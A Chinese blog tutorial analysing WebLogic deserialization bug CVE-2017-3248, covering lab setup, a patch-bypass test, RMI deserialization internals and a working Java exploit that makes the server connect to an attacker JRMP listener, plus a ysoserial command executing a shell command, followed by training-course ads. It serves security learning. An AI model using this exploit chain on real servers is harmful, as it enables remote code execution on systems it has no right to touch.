漏洞挖掘:一次反序列化漏洞学习

0x01 漏洞背景

该漏洞使用了在当时为新型技术的rmi反序列化漏洞绕过了之前的修补补丁 。适用版本包括了10.3.6.0、12.1.3.0、12.2.1.0以及12.2.1.1等多个版本。将从环境搭建、漏洞补丁分析、绕过方法思考、payload构建等多个方面进行研究,尽可能的将一些坑点和知识点摸排清楚,从0到1学习weblogic反序列化。

0x02 环境搭建及补丁安装

2021最新整理网络安全/渗透测试/安全学习/100份src技术文档(全套视频、大厂面经、精品手册、必备工具包、路线)一>点我<一

0x1 环境搭建

1.现成环境

可以采用现成的docker环境,执行以下命令生成对应版本的docker docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6

1.自动搭建

利用Docker自动化搭建,在github下载搭建代码 [https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git) 本次实验环境采用jdk7u21和weblogic 10.3.6.0,在jdk_use和weblogic_use文件夹下存放相对应版本的程序

执行如下命令:

./WeblogicDockerBuild.sh
docker-compose up -d 

0x2 补丁安装

本次使用的补丁是 p23094342_1036_Generic.zip

获取到补丁后用如下指令进行安装

cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=UIAL -prod_dir=/weblogic/oracle/middleware/wlserver 

补丁信息如下

0x03 补丁分析及绕过

0x1 补丁分析

第一时间拿到补丁后,使用之前的CVE-2016-3510 payload打了下没有反应,并且从log中发现如下报错

从报错中清楚的了解到MarshalledObject是不可被反序列化的。反过头来看下补丁是如何修补的。头脑简单的笔者一开始认为这次又是添加了什么白名单,就在各种blacklist中疯狂寻找,无果,郁闷了半天。突然在使用idea分析时在补丁包中发现了一个MarshalledObject.class文件,如下所示

为了证明是这个相同包路径的接口影响了MarshalledObject反序列化,做了以下操作

mkdir test
cp BUG23094342_10360160719.jar test/
tar xvf BUG23094342_10360160719.jar
rm BUG23094342_10360160719.jar 
rm weblogic/corba/utils/MarshalledObject.class
tar -cvf BUG23094342_10360160719.jar ./ 

然后再使用CVE-2016-3510 payload试了下,发现可以成功

那么总结下这次补丁是编写相同包名类名接口覆盖之前的类,使其变得不可反序列化,妙啊!

0x2 前置知识-RMI反序列化

理论上讲找个类替代MarshalledObject的功能即可完成绕过,但这次并没有这么做,而是引出了一种比较有意思的反序列化漏洞,RMI反序列化漏洞(关于这个系列的漏洞,笔者打算单独开个板块进行分析)。这次主要介绍如何绕过该补丁。

RMI 为Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。RMI反序列整个体系比较复杂,但一般掌握了其中几个知识点就可以应对很多场景了。在整理RMI知识的时候,总结了RMI通信过程中可利用的反序列化点

大致分为三类 客户端触发服务端触发和**注册中心触发,**ysoserial中涉及的几个反序列化点都在对应的地方标注了。

客户端触发

1.当客户端向注册中心发送lookup数据包时注册中心会把stub对象返回给客户端并在客户端触发readObject 2.当客户端使用StreamRemoteCall与远程通信时,在executeCall函数中存在反序列化在客户端触发readObject(payloads/JRMPClient配合exploit/JRMPListener) 3.当客户端使用DGCImpl_Stub与DGC服务端交互式时会在dirty函数中反序列化远程传递过来的Lease对象序列化后的数据,在客户端触发readObject

服务端触发

1.当客户端向服务端发送调用远程方法的请求时会先使用DGCImpl_Stub和服务端通信,在处理dirty请求时会在对象申请和引用的时候在服务端触发readObject(exploit/JRMPClient,可配合payloads/JRMPListener)

注册中心触发

1.当客户端向注册中心发送lookup数据包时会把binding中stub对应的String类型名字以序列化的形式发送,注册中心收到数据包后,将会在注册端触发readObject,反序列化传过来的名字。 2.当服务端或客户端向注册中心(RegistryImpl)bind绑定stub的时候会在注册端触发readObject(exploit/RMIRegistryExploit) 3.当服务端或客户端向注册中心(RegistryImpl)unbind解绑stub的时候会在注册端触发readObject 4.当服务端或客户端向注册中心(RegistryImpl)rebind重新绑定stub的时候会在注册端触发readObject

0x3 RMI反序列化原理

CVE-2017-3248 可采用客户端或是服务端触发两种方式绕过上次漏洞补丁。重点分析payloads/JRMPClient配合exploit/JRMPListener完成此次攻击利用的深层次原理。

payloads/JRMPClient的反序列化背景是客户端获取到来自RegistryImpl_Skel的回应后,将会调用DGCClient的与远程DGCServer进行通信。调用栈如下

主要问题出现在StreamRemoteCall.class类的executeCall函数上

观察发现this.in为ConnectionInputStream类型并没有黑名单的限制,因此只要服务端可控,就可以像客户端发送任意反序列化数据。

碰巧的是在RemoteObjectInvocationHandler的反序列化代码里会调用这个StreamRemoteCall类里的executeCall方法

结合之前的调用栈dgc.dirty函数就已经可以触发到executeCall代码

0x04 利用方法

0x1 如何构造Payload

前面分析了漏洞原理,那么客户端需要构建怎样的代码才能触发到反序列化呢?这个还要从rmi机制说起,详细内容可以将会在之后的rmi专题进行讲解,这里只是把大概逻辑捋一捋,这一节会有很多类和变量,不理解没关系主要了解过程。

首先思考一个问题,RMI客户端如何调用远程服务器上的其他类?RMI机制是这么做的,涉及到对端调用的类将会生成类似Stub和Skel的对等结构,其中Stub在客户端保存(客户端可自己生成比如RegistryImpl_stub,也可通过网络通过网络从服务端获取Proxy(MyclassImpl))。因为我们只分析客户端,这里引出一张客户端RMI调用流程图

  • 黄线:客户端首先调用getRegistry函数生成注册中心Stub(RegistryImpl_stub)
  • 黄线:接着通过lookup方法与远程服务通信,远程服务会在ObjectTable中匹配该stub包含的Target,进行路由分发
  • 紫线:服务端接收到lookup请求后,会将已经生成好的**代理类Proxy(MyclassImpl)**返回给客户端
  • 绿线:客户端收到代理类Stub,直接调用其中的方法就会与远程服务通信并在远程执行相关代码

我们重点关注下紫线部分的处理流程,服务端到底返回的是个什么东西,我们找到服务端启动代码

当代码执行到13行时,因为UserImpl继承了UnicastRemoteObject类并且在构造方法里调用了父类构造方法,所以将会执行UnicastRemoteObject类中的构造方法

构造方法会调用exportObject

下面重点来了,如何封装传递给Client端的Stub

方便理解倒着分析,在最后利用RemoteObjectInvocationHandler代理了我们需要执行的类,那么RemoteRef是如何而来的,从当前代码中只能看见时getClientRef获取到的

getClientRef代码如下,this.ref是什么时候赋值的?

在UnicastRemoteObject构造方法一开始时就赋值了,sref如何生成

sref其实是UnicastServerRef是UnicastRef的子类

在其构造方法中创建了LiveRef对象并赋值给了UnicastRef的ref变量

可能会有些绕,整体可以总结为如下代码

ObjID id = new ObjID(new Random().nextInt()); 
TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); 

仿照服务端的createProxy函数,将RemoteObjectInvocationHandler封装进代理类。

(Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj); 

利用代码如下所示

package main;

import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class cve_2017_3248 {public Object getObject(){ObjID id = new ObjID(new Random().nextInt()); // RMI registryTCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);Registry proxy = (Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);return proxy;}public static void main(String[] args) throws Exception {Object obj = new cve_2017_3248().getObject();byte[] payload2 = Serializables.serialize(obj);T3ProtocolOperation.send("127.0.0.1", "7001", payload2);}
} 

0x2 整合利用

整个过程使用JRMP Server端反打Client端 Step 1 使用JRMPListener监听端口

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jarysoserial.exploit.JRMPListener 7777 CommonsCollections1 'touch /tmp/D4ck' 

**Step 2 发送漏洞payload ** 反序列化数据中包含rmi 客户端链接代码

0x05 总结

CVE-2017-3248 使用了RMI反序列化漏洞,也揭开了笔者分析RMI漏洞原理的新篇章。后面将不断分析Weblogic相关反序列化漏洞,以及系统总结整理RMI反序列化漏洞的基础知识和简单利用。接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

  • 13
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
推荐,网络安全中的漏洞挖掘实践合集,仅供大家学习参阅,包含内容如下: 针对现实应用的文本对抗攻击研究 安全众测下的漏洞发展新趋势 安卓应用漏洞挖掘 从0到1-发现与拓展攻击面 对基于Git的版本控制服务的通用攻击面的探索 对民用飞行控制系统固件的逆向与漏洞分析 卫星通信的安全缺陷 基于全流量的智慧漏洞挖掘 基于运行时类型嗅探技术提高模糊测试的漏洞发掘效果 漏洞挖掘进化论-推开xray之门 逆向在漏洞挖掘中的应用 苹果攻击面和漏洞挖掘自动化研究 如何从高赏金项目中拿到高危 如何去挖掘物联网环境中的高级恶意软件威胁 如何在3个月发现 12 个内核信息泄露漏洞 沙箱内持久化.行之有效的沙箱攻击新思路 深度解析Weblogic_XMLDecoder反序列化 使用数据流敏感模糊测试发现漏洞 锁不住的安全 谈谈工业协议转换器的一些问题 逃逸IE浏览器沙箱-在野0Day漏洞利用复现 为何自动化漏洞挖掘如此困难 现代可抵赖后门研究 一扇虚掩的大门-现代智能系统的重要攻击面 源代码漏洞挖掘 远程root现代安卓设备 在现代Windows内核中发现存在20年的漏洞 针对智能设备漏洞挖掘的一些新方法 AI用于软件漏洞挖掘 AndroidWebView安全攻防指南2020 Java反序列化漏洞自动挖掘方法 macOS从运行库劫持到内核提权 MTK安全启动大剖析.CIS大会分论 MyBatis框架下SQL注入解决方案 Qemu-kvm和ESXi虚拟机逃逸实例分享 WEB常见漏洞与挖掘技巧研究 Web漏洞挖掘速成特训营 混合式漏洞挖掘研究进展

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值